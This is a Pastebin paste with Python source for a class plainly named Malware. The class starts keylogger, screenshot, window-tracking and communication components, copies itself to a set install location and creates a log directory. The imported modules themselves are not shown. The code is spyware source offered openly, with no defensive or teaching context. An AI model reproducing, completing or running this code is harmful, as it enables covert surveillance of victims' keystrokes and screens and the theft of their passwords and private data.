Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from os import path, mkdir
- import sys, shutil
- from keylogger import Keylogger
- from Screenshot import Screenshot
- from WindowTracker import WindowTracker
- from Communication import Communication
- from Configuration import Configuration
- class Malware:
- def __init__(self):
- self.__config = Configuration()
- self.__buildMalware()
- self.__screenshot = Screenshot(self.__config)
- self.__windowTracker = WindowTracker(self.__config, self.__screenshot)
- self.__communication = Communication(self, self.__config)
- self.__keylogger = Keylogger(self.__config, self.__communication)
- self.__keylogger.start()
- self.__windowTracker.start()
- self.__communication.start()
- def __buildMalware(self) -> None:
- if not self.__checkExistence():
- self.__createStructure()
- elif self.__config.currentPath.lower() != str(self.__config.filePath + self.__config.fileName).lower():
- sys.exit()
- def __checkExistence(self) -> bool:
- return path.isdir(self.__config.logPath) and path.isfile(self.__config.filePath + self.__config.fileName)
- def __createStructure(self) -> None:
- mkdir(self.__config.logPath)
- shutil.copy(self.__config.currentPath , self.__config.filePath + self.__config.fileName)
- if __name__ == "__main__":
- malware = Malware()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement